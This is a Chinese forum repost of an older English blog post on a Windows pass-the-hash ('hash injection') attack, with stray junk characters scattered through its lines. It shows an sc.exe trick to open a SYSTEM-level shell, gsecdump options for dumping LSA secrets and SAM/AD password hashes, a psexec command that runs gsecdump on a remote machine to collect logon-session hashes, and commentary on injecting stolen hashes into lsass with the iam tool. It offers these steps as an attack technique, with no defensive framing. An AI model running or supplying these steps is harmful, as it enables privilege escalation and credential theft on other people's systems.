HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
. Y: }9 l& M+ A1 Q[SC] CreateService SUCCESS
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4 ~& T) W0 ?% D/ MC:\>sc start shellcmdline
1 l- ?. F% b" C5 _) r! B[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
- K4 [* w* T; _! D/ ~0 L[SC] DeleteService SUCCESS
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6 n+ X5 Q  h# V; }% I4 }------------
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Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
, ]4 z- g1 S- e/ \NT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
$ V2 j7 |- w! A. ]gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

( |/ O  Z( P2 s) r. M- \options:
5 [; j, f* H& q1 r* h-h [ --help ] show help
: D) }( w5 B* l: ?! Q  g-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
' q; E2 E6 d! i1 s& v  z-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
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Although I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
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! C% R# G  P8 |7 w1 r" ?) Z; RC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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4 U7 G3 [& r6 Jto get the hashes from active logon sessions of a remote system.
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2 N; f& U$ J7 E, C) b0 }% A) `! iThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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6 y' j: o6 n8 `* K1 o( h我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。